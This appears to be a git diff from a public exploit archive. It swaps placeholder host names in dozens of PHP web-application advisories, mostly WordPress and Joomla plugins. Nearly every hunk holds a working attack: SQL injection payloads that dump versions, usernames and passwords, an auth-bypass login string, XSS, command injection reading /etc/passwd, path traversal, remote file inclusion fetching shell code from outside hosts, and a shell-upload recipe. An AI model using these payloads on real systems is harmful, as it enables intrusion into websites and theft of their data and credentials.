________________________________________________________________________________ # Version: [0.92 CSS²] # Tested on: [linux/Windows NT] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Exp: http://www.site.tn/path/index.php?type=3&lien_2=http://server.tn/ +Exp: http://www.site.tn/path/index.php?type=3&lien_2=http://site.com.tn/ diff --git a/platforms/php/webapps/17515.txt b/platforms/php/webapps/17515.txt index f672497de..7452928d5 100755 --- a/platforms/php/webapps/17515.txt +++ b/platforms/php/webapps/17515.txt @@ -14,4 +14,4 @@ ~ ( Greetz ) ~ <=[ sA^Dev!L , i-Hmx , Fox , Lagripe-dz , And Welcome back sec4ever.com ... ]=> --==================== in The Name Of aLLah ====================- \ No newline at end of file +-==================== in The Name Of aLLah ====================- \ No newline at end of file diff --git a/platforms/php/webapps/1752.pl b/platforms/php/webapps/1752.pl index f01b37cff..97e2a251c 100755 --- a/platforms/php/webapps/1752.pl +++ b/platforms/php/webapps/1752.pl @@ -7,7 +7,7 @@ # Google Search=inurl:statit.php # usage: # perl statit.pl <target> <cmd shell location> <cmd shell variable> -# perl statit.pl http://server/statit/ http://www.golha.net/ignor3/shell.txt cmd +# perl statit.pl http://target.com/statit/ http://www.golha.net/ignor3/shell.txt cmd # cmd shell example: <?system($cmd);?> # cmd shell variable: ($_GET[cmd]); use LWP::UserAgent; @@ -50,7 +50,7 @@ sub usage() { head(); print " Usage: perl statit.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to Fastclick ex: http://www.server/statit/ \r\n"; + print " <Site> - Full path to Fastclick ex: http://www.site.com/statit/ \r\n"; print " <cmd shell> - Path to cmd Shell e.g http://www.golha.net/ignor3/shell.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; diff --git a/platforms/php/webapps/17523.txt b/platforms/php/webapps/17523.txt index 1791031d6..f19eb533b 100755 --- a/platforms/php/webapps/17523.txt +++ b/platforms/php/webapps/17523.txt @@ -17,7 +17,7 @@ usability and most importantly - results. (Auth ByPass) SQLi Vulnerability *************************************** -{DEMO} : http://server/adminindex.php +{DEMO} : http://site.com/adminindex.php EXPLOIT: Username: ' or 0=0 # @@ -30,7 +30,7 @@ Reflected XSS Vulnerability EXPLOIT 2: Reflected XSS Vulnerability in admin panel(search field) {Demo}: -http://server/user/adminindex.php?action=user.home +http://site.com/user/adminindex.php?action=user.home Exploit: ">><marquee><h1>XSSed_by_r007k17</h1></marquee> ***************************************************************************************************************************************************************************************** diff --git a/platforms/php/webapps/17556.txt b/platforms/php/webapps/17556.txt index 1575692d4..6612b49d5 100755 --- a/platforms/php/webapps/17556.txt +++ b/platforms/php/webapps/17556.txt @@ -29,7 +29,7 @@ print "| www.yogyacarderlink.web.id |\n"; print "| |\n"; print "|===================================[ YOGYACARDERLINK ]====|\n"; print "\nUsage: perl $0 <target> <file_to_edit>\n"; -print "\tex: perl $0 http://www.server /etc/passwd\n\n"; +print "\tex: perl $0 http://www.site.com /etc/passwd\n\n"; $host = 'http://'.$host if ($host !~ /^http:/); $host .= "/" if ($host !~ /\/\$/); diff --git a/platforms/php/webapps/17573.txt b/platforms/php/webapps/17573.txt index a653bdc59..d392a50d4 100755 --- a/platforms/php/webapps/17573.txt +++ b/platforms/php/webapps/17573.txt @@ -6,13 +6,13 @@ allows to see environment vars: Windows -http://www.server/php-barcode/barcode.php?code=%TMP% +http://www.site.com/php-barcode/barcode.php?code=%TMP% Linux -http://www.server/php-barcode/barcode.php?code=012$PATH$d -http://www.server/php-barcode/barcode.php?code=`uname%20-a` -http://www.server/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd` +http://www.site.com/php-barcode/barcode.php?code=012$PATH$d +http://www.site.com/php-barcode/barcode.php?code=`uname%20-a` +http://www.site.com/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd` Vendor: http://www.ashberg.de/php-barcode/download/ diff --git a/platforms/php/webapps/17587.txt b/platforms/php/webapps/17587.txt index 3a5cfbf61..f1a86b780 100755 --- a/platforms/php/webapps/17587.txt +++ b/platforms/php/webapps/17587.txt @@ -1,4 +1,4 @@ -%+ + %+ $.......#........4.........|)........0............\/\/ %+ diff --git a/platforms/php/webapps/17591.txt b/platforms/php/webapps/17591.txt index aae90b17e..e0021631e 100755 --- a/platforms/php/webapps/17591.txt +++ b/platforms/php/webapps/17591.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ @@ -27,4 +27,4 @@ http://127.0.0.1/[path]/index.php?option=com_obsuggest&controller=[LFI]%00 Credits: ------- -www.yogyacarderlink.web.id - irc.yogyacarderlink.web.id \ No newline at end of file +www.yogyacarderlink.web.id - irc.yogyacarderlink.web.id \ No newline at end of file diff --git a/platforms/php/webapps/17603.txt b/platforms/php/webapps/17603.txt index 493e20a47..a5f604c90 100755 --- a/platforms/php/webapps/17603.txt +++ b/platforms/php/webapps/17603.txt @@ -30,9 +30,9 @@ e-mail : root[at]exploit-id[dot]com [*] ExpLo!T : -http://www.server/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 +http://www.site.com/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 -http://www.server/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 # Inject Here +http://www.site.com/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 # Inject Here #### diff --git a/platforms/php/webapps/17616.txt b/platforms/php/webapps/17616.txt index a3a735d5e..b7d860eda 100755 --- a/platforms/php/webapps/17616.txt +++ b/platforms/php/webapps/17616.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=-1') UNION ALL SELECT NULL,NULL,@@version--%20 +http://www.site.com/wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=-1') UNION ALL SELECT NULL,NULL,@@version--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17617.txt b/platforms/php/webapps/17617.txt index ff049e1bc..34f53f7d8 100755 --- a/platforms/php/webapps/17617.txt +++ b/platforms/php/webapps/17617.txt @@ -7,7 +7,7 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/social-slider-2/ajax.php +http://www.site.com/wp-content/plugins/social-slider-2/ajax.php action=ZapiszPozycje&rA[]=1 AND SLEEP(5) --------------- diff --git a/platforms/php/webapps/17627.txt b/platforms/php/webapps/17627.txt index 22ae3dc08..884d8ed5e 100755 --- a/platforms/php/webapps/17627.txt +++ b/platforms/php/webapps/17627.txt @@ -13,7 +13,7 @@ import re import urllib2 import urlparse -url = "http://www.server/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20") +url = "http://www.site.com/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20") req = urllib2.Request(url=url, headers={"Referer": url}) content = urllib2.urlopen(req).read() match = re.search(r"`(.+)`", content) diff --git a/platforms/php/webapps/17628.txt b/platforms/php/webapps/17628.txt index 558bf8787..1c10422e4 100755 --- a/platforms/php/webapps/17628.txt +++ b/platforms/php/webapps/17628.txt @@ -7,9 +7,9 @@ --- PoC --- -http://www.server/wp-content/plugins/media-library-categories/sort.php?termid=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20 +http://www.site.com/wp-content/plugins/media-library-categories/sort.php?termid=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20 -http://www.server/wp-content/plugins/media-library-categories/sort.php?termid=1 AND EXTRACTVALUE(1,CONCAT(CHAR(92),@@version)) +http://www.site.com/wp-content/plugins/media-library-categories/sort.php?termid=1 AND EXTRACTVALUE(1,CONCAT(CHAR(92),@@version)) --------------- Vulnerable code diff --git a/platforms/php/webapps/17633.txt b/platforms/php/webapps/17633.txt index 57b148267..6ce64adb5 100755 --- a/platforms/php/webapps/17633.txt +++ b/platforms/php/webapps/17633.txt @@ -15,18 +15,18 @@ sabadkharid CMS Multiple Vulnerabilities 1 > cart.php have sql injection bug . -2 > go to http://server/cart.php?shopping_cart&add2cart=10' +2 > go to http://target.com/cart.php?shopping_cart&add2cart=10' # Expolite : ####################################################################### -1 > get version => http://server/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select (select @@version) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/ +1 > get version => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select (select @@version) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/ -2 > get username => http://server/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select (select login) from SKH_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/ +2 > get username => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select (select login) from SKH_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/ > output like 'admin1' and username:admin -3 > get password => http://server/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select (select cust_password) from SKH_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/ +3 > get password => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select (select cust_password) from SKH_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/ > output like 'pass1' and username:pass @@ -34,13 +34,13 @@ sabadkharid CMS Multiple Vulnerabilities # BUG LFI : ###################################################################### -1 > Go To Http://server/admin.php +1 > Go To Http://site.com/admin.php -2 > Go To Http://server/admin.php?tab=conf⊂=template&edit=../../../cart.php +2 > Go To Http://site.com/admin.php?tab=conf⊂=template&edit=../../../cart.php 3 > Then Copy Your Shell script & Save -4 > Find Your Shell in Http://server/cart.php +4 > Find Your Shell in Http://site.com/cart.php ############################################################################# diff --git a/platforms/php/webapps/17644.txt b/platforms/php/webapps/17644.txt index 3d5e6f044..99150e9ee 100755 --- a/platforms/php/webapps/17644.txt +++ b/platforms/php/webapps/17644.txt @@ -12,12 +12,12 @@ SetHandler application/x-httpd-php </FilesMatch> 2.Now upload this htaccess with FCKeditor. -http://server/FCKeditor/editor/filemanager/upload/test.html -http://server/FCKeditor/editor/filemanager/browser/default/connectors/test.html +http://target.com/FCKeditor/editor/filemanager/upload/test.html +http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html ---------------------------------------------------------------------------------------------- 3.Now upload shell.php.gif with FCKeditor. 4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically. -5.http://server/anything/shell_php.gif +5.http://target.com/anything/shell_php.gif 6.Now shell is available from server. --------------------------------------------------------- diff --git a/platforms/php/webapps/17673.txt b/platforms/php/webapps/17673.txt index c5c8a9ecb..256cd6f5b 100755 --- a/platforms/php/webapps/17673.txt +++ b/platforms/php/webapps/17673.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/wp-content/plugins/ip-logger/map-details.php?lat=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20&lon=-1&blocked=-1 +http://www.site.com/wp-content/plugins/ip-logger/map-details.php?lat=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20&lon=-1&blocked=-1 --------------- Vulnerable code diff --git a/platforms/php/webapps/17675.txt b/platforms/php/webapps/17675.txt index 2450a7170..3653d0ba5 100755 --- a/platforms/php/webapps/17675.txt +++ b/platforms/php/webapps/17675.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/17678.txt b/platforms/php/webapps/17678.txt index c00b140b2..52635d3b7 100755 --- a/platforms/php/webapps/17678.txt +++ b/platforms/php/webapps/17678.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1 +http://www.site.com/wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1 --------------- Vulnerable code diff --git a/platforms/php/webapps/1768.php b/platforms/php/webapps/1768.php index a7c940af4..a1b371fa9 100755 --- a/platforms/php/webapps/1768.php +++ b/platforms/php/webapps/1768.php @@ -8,7 +8,7 @@ Sh0uts: xorcrew.net, ajax, gml, #subterrain, D2K url: http://www.xorcrew.net/ReZEN example: -turl: http://server/path to actualanalyzer/direct.php?rf= +turl: http://www.target.com/path to actualanalyzer/direct.php?rf= hurl: http://www.pwn3d.com/evil.txt? */ diff --git a/platforms/php/webapps/17680.txt b/platforms/php/webapps/17680.txt index 582b20369..7532b9eaa 100755 --- a/platforms/php/webapps/17680.txt +++ b/platforms/php/webapps/17680.txt @@ -7,7 +7,7 @@ --- PoC (POST data) --- -http://www.server/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php +http://www.site.com/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- diff --git a/platforms/php/webapps/17681.txt b/platforms/php/webapps/17681.txt index ff7c2050f..4a25421d4 100755 --- a/platforms/php/webapps/17681.txt +++ b/platforms/php/webapps/17681.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php?uid=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) +http://www.site.com/wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php?uid=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code diff --git a/platforms/php/webapps/17683.txt b/platforms/php/webapps/17683.txt index 3e24074dd..802357778 100755 --- a/platforms/php/webapps/17683.txt +++ b/platforms/php/webapps/17683.txt @@ -7,7 +7,7 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/wp-ds-faq/ajax.php +http://www.site.com/wp-content/plugins/wp-ds-faq/ajax.php action=delete_faqbook&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- diff --git a/platforms/php/webapps/17684.txt b/platforms/php/webapps/17684.txt index cd2b2b37a..10ceb6072 100755 --- a/platforms/php/webapps/17684.txt +++ b/platforms/php/webapps/17684.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/wp-content/plugins/wpforum/sendmail.php?action=quote&id=-1 UNION ALL SELECT @@version,2,3 +http://www.site.com/wp-content/plugins/wpforum/sendmail.php?action=quote&id=-1 UNION ALL SELECT @@version,2,3 --------------- Vulnerable code diff --git a/platforms/php/webapps/17686.txt b/platforms/php/webapps/17686.txt index 9917b63bc..0f13b2cff 100755 --- a/platforms/php/webapps/17686.txt +++ b/platforms/php/webapps/17686.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/wp-content/plugins/ajaxgallery/utils/list.php?delete=1&gId=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) +http://www.site.com/wp-content/plugins/ajaxgallery/utils/list.php?delete=1&gId=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code diff --git a/platforms/php/webapps/17687.txt b/platforms/php/webapps/17687.txt index 253575bc1..3e8dc35ba 100755 --- a/platforms/php/webapps/17687.txt +++ b/platforms/php/webapps/17687.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/wp-content/plugins/global-content-blocks/gcb/gcb_export.php?gcb=1 AND 1=1 +http://www.site.com/wp-content/plugins/global-content-blocks/gcb/gcb_export.php?gcb=1 AND 1=1 --------------- Vulnerable code diff --git a/platforms/php/webapps/17688.txt b/platforms/php/webapps/17688.txt index e49228d4d..67671e1e4 100755 --- a/platforms/php/webapps/17688.txt +++ b/platforms/php/webapps/17688.txt @@ -7,7 +7,7 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/allow-php-in-posts-and-pages/alter.php +http://www.site.com/wp-content/plugins/allow-php-in-posts-and-pages/alter.php allowPHPNonce=-1&action=modify&function=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- diff --git a/platforms/php/webapps/17689.txt b/platforms/php/webapps/17689.txt index b339287c1..54ad73712 100755 --- a/platforms/php/webapps/17689.txt +++ b/platforms/php/webapps/17689.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/wp-content/plugins/wp-menu-creator/updateSortOrder.php?menu_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) +http://www.site.com/wp-content/plugins/wp-menu-creator/updateSortOrder.php?menu_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code diff --git a/platforms/php/webapps/17695.txt b/platforms/php/webapps/17695.txt index cfdd519d2..33e8e240d 100755 --- a/platforms/php/webapps/17695.txt +++ b/platforms/php/webapps/17695.txt @@ -12,7 +12,7 @@ Price (ASC) | Price (DESC)] ||========================================================================================= Exploit : - http://www.webserver/search.php?seed=640' + http://www.website.com/search.php?seed=640' you can use Haivj SQL injection tool the easiest way to work with the exploit :) diff --git a/platforms/php/webapps/17704.txt b/platforms/php/webapps/17704.txt index ae0676921..dc5a94b42 100755 --- a/platforms/php/webapps/17704.txt +++ b/platforms/php/webapps/17704.txt @@ -13,7 +13,7 @@ import urllib2 FILEPATH = "/etc/passwd" -req = urllib2.urlopen("http://www.server/wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../../../..%s" % FILEPATH) +req = urllib2.urlopen("http://www.site.com/wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../../../..%s" % FILEPATH) print "Filepath: '%s'" % FILEPATH print "Content: %s" % repr(req.read()) diff --git a/platforms/php/webapps/17705.txt b/platforms/php/webapps/17705.txt index 87f896dfd..5caa19110 100755 --- a/platforms/php/webapps/17705.txt +++ b/platforms/php/webapps/17705.txt @@ -9,6 +9,6 @@ line 20: include($_REQUEST['langval']); ------------------------------- poc: -server/path/sublink.php?langval=shell.txt? +site.com/path/sublink.php?langval=shell.txt? -------------------------------- thanks:kire rostam,kose zan dait,kose shohar amat \ No newline at end of file diff --git a/platforms/php/webapps/17707.txt b/platforms/php/webapps/17707.txt index 3ec108363..5c4edb54b 100755 --- a/platforms/php/webapps/17707.txt +++ b/platforms/php/webapps/17707.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) +http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code diff --git a/platforms/php/webapps/17709.txt b/platforms/php/webapps/17709.txt index c4c08853c..809e4e5f0 100755 --- a/platforms/php/webapps/17709.txt +++ b/platforms/php/webapps/17709.txt @@ -17,5 +17,5 @@ Exploit: searchresults.php?ord1='1&ord2=asc&search1=&SearchTerm=&where=ItemName Demo: -http://server/bonzacart/searchresults.php?ord1='1&ord2=asc&search1=&SearchTerm=&where=ItemName +http://site.com/bonzacart/searchresults.php?ord1='1&ord2=asc&search1=&SearchTerm=&where=ItemName diff --git a/platforms/php/webapps/17710.txt b/platforms/php/webapps/17710.txt index 24399cee0..08e1254c7 100755 --- a/platforms/php/webapps/17710.txt +++ b/platforms/php/webapps/17710.txt @@ -16,4 +16,4 @@ Exploit: index.php?keyword='1&mod=search&submit=GO Demo: -http://server/dv10dis/index.php?keyword=%271&mod=search&submit=GO +http://site.com/dv10dis/index.php?keyword=%271&mod=search&submit=GO diff --git a/platforms/php/webapps/17716.txt b/platforms/php/webapps/17716.txt index 676cf777b..a9e91b408 100755 --- a/platforms/php/webapps/17716.txt +++ b/platforms/php/webapps/17716.txt @@ -36,5 +36,5 @@ lista = BLIND SQL INJECTION HERE TO: -http://www.server/wp-content/plugins/sendit/submit.php +http://www.site.com/wp-content/plugins/sendit/submit.php diff --git a/platforms/php/webapps/17720.txt b/platforms/php/webapps/17720.txt index 7f14c665f..b8312bb71 100755 --- a/platforms/php/webapps/17720.txt +++ b/platforms/php/webapps/17720.txt @@ -21,4 +21,4 @@ $out = $wpdb->get_row($q1); PoC --- -http://www.server/wp-content/plugins/photoracer/viewimg.php?id=-1 UNION SELECT 0,1,2,3,4,VERSION(),6,7,8 +http://www.site.com/wp-content/plugins/photoracer/viewimg.php?id=-1 UNION SELECT 0,1,2,3,4,VERSION(),6,7,8 diff --git a/platforms/php/webapps/17724.txt b/platforms/php/webapps/17724.txt index e7bddc704..e32d444ea 100755 --- a/platforms/php/webapps/17724.txt +++ b/platforms/php/webapps/17724.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/js-appointment/searchdata.php?search_action=searchadv&cat=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/js-appointment/searchdata.php?search_action=searchadv&cat=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17725.txt b/platforms/php/webapps/17725.txt index 0a651ece1..c5cf846d4 100755 --- a/platforms/php/webapps/17725.txt +++ b/platforms/php/webapps/17725.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/mm-forms-community/includes/edit_details.php?ID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/mm-forms-community/includes/edit_details.php?ID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17728.txt b/platforms/php/webapps/17728.txt index 2560dee08..8a4f9b580 100755 --- a/platforms/php/webapps/17728.txt +++ b/platforms/php/webapps/17728.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-admin/admin.php?page=super-captcha/Logs&markspam=-1' OR SLEEP(5)--%20 +http://www.site.com/wp-admin/admin.php?page=super-captcha/Logs&markspam=-1' OR SLEEP(5)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17729.txt b/platforms/php/webapps/17729.txt index 7f2597667..4437cfdf3 100755 --- a/platforms/php/webapps/17729.txt +++ b/platforms/php/webapps/17729.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-admin/admin.php?page=testimonials&featQuote&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) +http://www.site.com/wp-admin/admin.php?page=testimonials&featQuote&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code diff --git a/platforms/php/webapps/1773.txt b/platforms/php/webapps/1773.txt index 00b3c1b5f..48efb1c2b 100755 --- a/platforms/php/webapps/1773.txt +++ b/platforms/php/webapps/1773.txt @@ -39,9 +39,9 @@ include($phpbb_root_path . 'common.'.$phpEx); ----------------------------------------------------------------- -http://www.server/[phpraidpath]/auth/auth.php?phpbb_root_path=http://www.yourcode.com/x.txt?&cmd=id +http://www.site.com/[phpraidpath]/auth/auth.php?phpbb_root_path=http://www.yourcode.com/x.txt?&cmd=id -http://www.server/[phpraidpath]/auth/auth_phpbb/phpbb_root_path=http://www.yourcode.com/x.txt?&cmd=uname -a +http://www.site.com/[phpraidpath]/auth/auth_phpbb/phpbb_root_path=http://www.yourcode.com/x.txt?&cmd=uname -a # SMF # @@ -49,8 +49,8 @@ http://www.server/[phpraidpath]/auth/auth_phpbb/phpbb_root_path=http://www.yourc include($smf_root_path= . 'SSI.php'); ----------------------------------------------------------------------- -http://www.server/[phpraidpath]/auth/auth.php?smf_root_path=http://www.yourcode.com/x.txt?&cmd=id +http://www.site.com/[phpraidpath]/auth/auth.php?smf_root_path=http://www.yourcode.com/x.txt?&cmd=id -http://www.server/[phpraidpath]/auth/auth_SMF/smf_root_path=http://www.yourcode.com/x.txt?&cmd=uname -a +http://www.site.com/[phpraidpath]/auth/auth_SMF/smf_root_path=http://www.yourcode.com/x.txt?&cmd=uname -a # milw0rm.com [2006-05-09] diff --git a/platforms/php/webapps/17730.txt b/platforms/php/webapps/17730.txt index c0d2a9e2e..81fc1c7f7 100755 --- a/platforms/php/webapps/17730.txt +++ b/platforms/php/webapps/17730.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/oqey-headers/oqey_settings.php?img_header_id[]=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/oqey-headers/oqey_settings.php?img_header_id[]=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17736.txt b/platforms/php/webapps/17736.txt index e4bdb90c3..71c1d42bb 100755 --- a/platforms/php/webapps/17736.txt +++ b/platforms/php/webapps/17736.txt @@ -24,6 +24,6 @@ function getDirContents($params, $sfl_dirlocation, $sfl_basepath, $sfl_maxfiles, PoC --- -http://www.server/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ +http://www.site.com/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ To look for a valid url, just sniff the HTTP request sent from the module javascript code once a directory is clicked. diff --git a/platforms/php/webapps/17737.txt b/platforms/php/webapps/17737.txt index 1a90bc5ec..b943094cd 100755 --- a/platforms/php/webapps/17737.txt +++ b/platforms/php/webapps/17737.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/fbpromotions/fbActivate.php?action=activate&name=test&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/fbpromotions/fbActivate.php?action=activate&name=test&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17738.txt b/platforms/php/webapps/17738.txt index f1df8591b..a66ca10d7 100755 --- a/platforms/php/webapps/17738.txt +++ b/platforms/php/webapps/17738.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/evarisk/include/ajax.php?post=true&act=reloadCombo&table=wp_eva__veille_groupe_question&nomRacine=-1" UNION ALL SELECT 1,@@version,3,4,5,6,7--%20 +http://www.site.com/wp-content/plugins/evarisk/include/ajax.php?post=true&act=reloadCombo&table=wp_eva__veille_groupe_question&nomRacine=-1" UNION ALL SELECT 1,@@version,3,4,5,6,7--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17739.txt b/platforms/php/webapps/17739.txt index a1781bc86..988cdadd4 100755 --- a/platforms/php/webapps/17739.txt +++ b/platforms/php/webapps/17739.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/profiles/library/bio-img.php?id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/profiles/library/bio-img.php?id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/1774.txt b/platforms/php/webapps/1774.txt index 218bb22ed..c6bafd211 100755 --- a/platforms/php/webapps/1774.txt +++ b/platforms/php/webapps/1774.txt @@ -14,7 +14,7 @@ $link_language = 'lang_english'; include( $module_root_path . 'language/' . $link_language . '/lang_pafiledb.' . $phpEx ); --------------------------------------------------------------------- 